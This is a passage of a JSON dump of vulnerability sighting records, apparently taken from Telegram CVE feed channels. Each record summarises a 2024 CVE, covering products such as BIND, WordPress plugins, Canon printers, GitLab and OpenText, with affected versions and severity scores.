invalid HTTP/2 traffic.  \nThis issue affects BIND 9 versions 9.18.0 through 9.18.32, 9.20.0 through 9.20.4, 9.21.0 through 9.21.3, and 9.18.11-S1 through 9.18.32-S1. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T01:43:39.000000Z"}, {"uuid": "4d8a3494-ed3f-4dda-b480-43ac1bbc7a7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://t.me/cvedetector/16673", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12749 - WordPress Competition Form XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12749 \nPublished : Jan. 29, 2025, 6:15 a.m. | 1\u00a0hour, 41\u00a0minutes ago \nDescription : The Competition Form WordPress plugin through 2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-29T09:50:15.000000Z"}, {"uuid": "50d5f249-6fa5-4fab-b167-6d5d8c212a8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "Telegram/8ip-pwzBHH1m4p3Q4IpI85A9dmM4BiOFSIHf0q1CDfl3X_0r", "content": "", "creation_timestamp": "2025-02-14T10:01:39.000000Z"}, {"uuid": "b02eea13-cdfe-40fa-a15c-af5cbd2760b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12442", "type": "seen", "source": "https://t.me/cvedetector/24952", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12442 - EnerSys AMPA Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12442 \nPublished : May 9, 2025, 2:15 p.m. | 1\u00a0hour, 58\u00a0minutes ago \nDescription : EnerSys AMPA versions 24.04 through 24.16, inclusive, are vulnerable to command injection leading to privileged remote shell access. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-09T18:43:06.000000Z"}, {"uuid": "ff2afaf2-1a86-42c3-a8b8-313955bc489e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12378", "type": "seen", "source": "https://t.me/cvedetector/24848", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12378 - Arista EOS Unencrypted VxLAN Tunnel Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12378 \nPublished : May 8, 2025, 7:15 p.m. | 17\u00a0minutes ago \nDescription : On affected platforms running Arista EOS with secure Vxlan configured, restarting the Tunnelsec agent will result in packets being sent over the secure Vxlan tunnels in the clear. \nSeverity: 9.1 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T21:48:15.000000Z"}, {"uuid": "a700a44d-cd12-4d29-9bd6-01f679a5dc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12706", "type": "seen", "source": "https://t.me/cvedetector/23940", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12706 - OpenText Digital Asset Management SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12706 \nPublished : April 28, 2025, 6:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in OpenText\u2122 Digital Asset Management. T  \n  \nhe vulnerability could allow an authenticated user to run arbitrary SQL commands on the underlying database.   \n  \nThis issue affects Digital Asset Management.: through 24.4. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-28T22:25:59.000000Z"}, {"uuid": "5c9fa936-9aff-4385-904e-d9f660b7177c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12244", "type": "seen", "source": "https://t.me/cvedetector/23643", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12244 - GitLab EE Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12244 \nPublished : April 24, 2025, 8:15 a.m. | 16\u00a0minutes ago \nDescription : An issue has been discovered in access controls could allow users to view certain restricted project information even when related features are disabled in GitLab EE, affecting all versions from 17.7 prior to 17.9.7, 17.10 prior to 17.10.5, and 17.11 prior to 17.11.1. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-24T11:23:12.000000Z"}, {"uuid": "2de74fc7-7b6b-45dd-8b9b-73616ec2564c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12543", "type": "seen", "source": "https://t.me/cvedetector/23457", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12543 - OpenText Content Management Barcode Attribute Manipulation\", \n  \"Content\": \"CVE ID : CVE-2024-12543 \nPublished : April 21, 2025, 4:15 p.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : User Enumeration and Data Integrity in Barcode functionality in OpenText Content Management versions 24.3-25.1on Windows and Linux allows a malicous authenticated attacker to potentially alter barcode attributes. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-21T19:49:43.000000Z"}, {"uuid": "b9498c0a-f77b-48bb-a87b-8756f76d0c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12863", "type": "seen", "source": "https://t.me/cvedetector/23443", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12863 - OpenText Content Management CE Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12863 \nPublished : April 21, 2025, 3:15 p.m. | 26\u00a0minutes ago \nDescription : Stored XSS in Discussions in OpenText Content Management CE 20.2 to 25.1 on Windows and Linux allows authenticated malicious users to inject code into the system. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-21T18:09:19.000000Z"}, {"uuid": "0c3c38c9-f0d8-4351-bcc2-88f616021cc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://t.me/cvedetector/16451", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12345 - INW Krbyyyzo File Uploader DoS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12345 \nPublished : Jan. 27, 2025, 11:15 a.m. | 1\u00a0hour, 14\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in INW Krbyyyzo 25.2002. Affected by this vulnerability is an unknown functionality of the file /gbo.aspx of the component Daily Huddle Site. The manipulation of the argument s leads to resource consumption. It is possible to launch the attack on the local host. Other endpoints might be affected as well. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T14:19:26.000000Z"}, {"uuid": "15b56c01-5c48-4065-8594-10342f62d416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12862", "type": "seen", "source": "https://t.me/cvedetector/23445", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12862 - OpenText Content Server Unauthorized Deletion\", \n  \"Content\": \"CVE ID : CVE-2024-12862 \nPublished : April 21, 2025, 3:15 p.m. | 26\u00a0minutes ago \nDescription : Incorrect Authorization vulnerability in the OpenText Content Server REST API on Windows, Linux allows users without the appropriate permissions to remove external collaborators.This issue affects Content Server: 20.2-24.4. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-21T18:09:21.000000Z"}, {"uuid": "f7659716-66d1-4b33-a2d5-add2f9b70ef5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/ton618cyber/6716", "content": "#Threat_Research\nXerox Versalink MFPs\nPass-back attack via LDAP (CVE-2024-12510) and SMB/FTP (CVE-2024-12511)\nhttps://www.rapid7.com/blog/post/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed\n]-> Anatomy of a Pass-Back-Attack\n]-> Attacking Xerox\u2019s Multifunction Printers Patch Process\n]-> More", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "62c780de-664c-4f34-9d78-b174d34e3bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12273", "type": "seen", "source": "https://t.me/cvedetector/23984", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12273 - CalculatedRoute Form WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12273 \nPublished : April 29, 2025, 6:15 a.m. | 2\u00a0hours, 3\u00a0minutes ago \nDescription : The Calculated Fields Form WordPress plugin before 5.2.62 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-29T10:58:36.000000Z"}, {"uuid": "afd6c1db-072f-4822-a82a-f38e634b328a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12604", "type": "seen", "source": "Telegram/RAyZa2-jQqKDcUc8ntcOJbOSOFzga6q0P0aLj-qOcavDFRM9", "content": "", "creation_timestamp": "2025-03-10T19:39:06.000000Z"}, {"uuid": "d5fd737d-aebe-4b8f-9f68-0476a86c016e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12619", "type": "seen", "source": "https://t.me/cvedetector/21410", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12619 - GitLab CE/EE Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12619 \nPublished : March 28, 2025, 10:15 a.m. | 2\u00a0hours, 4\u00a0minutes ago \nDescription : An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 before 17.8.6, 17.9 before 17.9.3, and 17.10 before 17.10.1, allowing internal users to gain unauthorized access to internal projects. \nSeverity: 5.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-28T13:34:10.000000Z"}, {"uuid": "3482f9a0-7547-4280-b07a-2742c57e9621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12905", "type": "seen", "source": "https://t.me/cvedetector/21321", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12905 - \"Tar-fs Path Traversal Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12905 \nPublished : March 27, 2025, 5:15 p.m. | 27\u00a0minutes ago \nDescription : An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.  \n  \nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.8. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-27T19:09:52.000000Z"}, {"uuid": "d64e9d37-e09e-4d1f-95bc-668170b22373", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12410", "type": "seen", "source": "https://t.me/cvedetector/21863", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12410 - WordPress Front End Users SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12410 \nPublished : April 2, 2025, 10:15 a.m. | 2\u00a0hours, 2\u00a0minutes ago \nDescription : The Front End Users plugin for WordPress is vulnerable to SQL Injection via the 'UserSearchField' parameter in all versions up to, and including, 3.2.32 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 4.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-02T14:59:06.000000Z"}, {"uuid": "fe1d956c-d78c-4138-b3d0-44237457f032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12723", "type": "seen", "source": "https://t.me/cvedetector/16581", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12723 - \"Infility Global WordPress Reflected Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12723 \nPublished : Jan. 28, 2025, 6:15 a.m. | 55\u00a0minutes ago \nDescription : The Infility Global WordPress plugin through 2.9.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T08:45:34.000000Z"}, {"uuid": "46f24c84-7821-4e48-ba2d-c62a0401f27f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12807", "type": "seen", "source": "https://t.me/cvedetector/16580", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12807 - WordPress Social Share Buttons Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12807 \nPublished : Jan. 28, 2025, 6:15 a.m. | 55\u00a0minutes ago \nDescription : The Social Share Buttons for WordPress plugin through 2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T08:45:33.000000Z"}, {"uuid": "1fede94a-c73c-452e-bdcb-302837c856a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://t.me/cvedetector/16568", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12649 - Canon Small Office Multifunction Printers and Laser Printers Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12649 \nPublished : Jan. 28, 2025, 1:15 a.m. | 1\u00a0hour, 53\u00a0minutes ago \nDescription : Buffer overflow in XPS data font processing of Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera MF656Cdw/Satera MF654Cdw firmware v05.04 and earlier sold in Japan. Color imageCLASS MF656Cdw/Color imageCLASS MF654Cdw/Color imageCLASS MF653Cdw/Color imageCLASS MF652Cdw/Color imageCLASS LBP633Cdw/Color imageCLASS LBP632Cdw firmware v05.04 and earlier sold in US. i-SENSYS MF657Cdw/i-SENSYS MF655Cdw/i-SENSYS MF651Cdw/i-SENSYS LBP633Cdw/i-SENSYS LBP631Cdw firmware v05.04 and earlier sold in Europe. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T04:34:48.000000Z"}, {"uuid": "794662eb-9bf8-4d58-8e7b-20c0efe70993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://t.me/cvedetector/16567", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12648 - Canon Small Office Multifunction Printers and Laser Printers Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12648 \nPublished : Jan. 28, 2025, 1:15 a.m. | 1\u00a0hour, 53\u00a0minutes ago \nDescription : Buffer overflow in TIFF data EXIF tag processing of Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera MF656Cdw/Satera MF654Cdw firmware v05.04 and earlier sold in Japan. Color imageCLASS MF656Cdw/Color imageCLASS MF654Cdw/Color imageCLASS MF653Cdw/Color imageCLASS MF652Cdw/Color imageCLASS LBP633Cdw/Color imageCLASS LBP632Cdw firmware v05.04 and earlier sold in US. i-SENSYS MF657Cdw/i-SENSYS MF655Cdw/i-SENSYS MF651Cdw/i-SENSYS LBP633Cdw/i-SENSYS LBP631Cdw firmware v05.04 and earlier sold in Europe. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T04:34:44.000000Z"}, {"uuid": "6a9eba76-66e3-4e7d-b639-11b2d05f668b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://t.me/cvedetector/16566", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12647 - Small Office Multifunction Printers and Laser Printers Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-12647 \nPublished : Jan. 28, 2025, 1:15 a.m. | 1\u00a0hour, 53\u00a0minutes ago \nDescription : Buffer overflow in CPCA font download processing of Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera MF656Cdw/Satera MF654Cdw firmware v05.04 and earlier sold in Japan. Color imageCLASS MF656Cdw/Color imageCLASS MF654Cdw/Color imageCLASS MF653Cdw/Color imageCLASS MF652Cdw/Color imageCLASS LBP633Cdw/Color imageCLASS LBP632Cdw firmware v05.04 and earlier sold in US. i-SENSYS MF657Cdw/i-SENSYS MF655Cdw/i-SENSYS MF651Cdw/i-SENSYS LBP633Cdw/i-SENSYS LBP631Cdw firmware v05.04 and earlier sold in Europe. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T04:34:43.000000Z"}, {"uuid": "37bb74db-c276-42f4-84ee-2219c4589ff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12278", "type": "seen", "source": "https://t.me/cvedetector/21742", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12278 - Booster for WooCommerce Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12278 \nPublished : April 1, 2025, 7:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The Booster for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via any location that typically sanitizes data using wp_kses, like comments, in all versions up to, and including, 7.2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-01T11:57:31.000000Z"}, {"uuid": "13d135e9-0191-4630-8da0-d45af7e13574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12189", "type": "seen", "source": "https://t.me/cvedetector/21741", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12189 - WDesignKit WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12189 \nPublished : April 1, 2025, 7:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The WDesignKit \u2013 Elementor & Gutenberg Starter Templates, Patterns, Cloud Workspace & Widget Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom widgets in all versions up to, and including, 1.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-01T11:57:27.000000Z"}, {"uuid": "decfac1c-6243-45ca-98e4-435d3e8e3e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://t.me/cvedetector/20619", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12922 - Altair WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12922 \nPublished : March 19, 2025, 6:15 a.m. | 39\u00a0minutes ago \nDescription : The Altair theme for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check within functions.php in all versions up to, and including, 5.2.4. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T07:57:34.000000Z"}, {"uuid": "9434896f-1fa1-4563-93cb-4b5ded708e07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12021", "type": "seen", "source": "https://t.me/cvedetector/21594", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12021 - Coverity Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12021 \nPublished : March 31, 2025, 2:15 p.m. | 39\u00a0minutes ago \nDescription : Coverity versions prior to 2024.9.0 are vulnerable to stored cross-site scripting (XSS) in various administrative interfaces. The impact of exploitation may result in the compromise of local accounts managed by the Coverity platform as well as other standard impacts resulting from cross-site scripting. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-31T17:31:36.000000Z"}, {"uuid": "373bdc3b-47b3-4e16-b694-13527c9b0e57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://t.me/cvedetector/20456", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12971 - Pandora FMS OS Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12971 \nPublished : March 17, 2025, 10:15 a.m. | 1\u00a0hour, 23\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in a Command vulnerability allows OS Command Injection.This issue affects Pandora FMS from 700 to 777.6 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-17T13:17:08.000000Z"}, {"uuid": "d9e48fb2-07f0-456d-a830-0bf21571c5ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12136", "type": "seen", "source": "https://t.me/cvedetector/20632", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12136 - Elfatek Elektronics ANKA JPD-00028 Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12136 \nPublished : March 19, 2025, 9:15 a.m. | 1\u00a0hour, 51\u00a0minutes ago \nDescription : Missing Critical Step in Authentication vulnerability in Elfatek Elektronics ANKA JPD-00028 allows Authentication Bypass.This issue affects ANKA JPD-00028: through 19.03.2025.  \n  \nNOTE: The vendor did not inform about the completion of the fixing process within the specified time. The CVE will be updated when new information becomes available. \nSeverity: 6.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  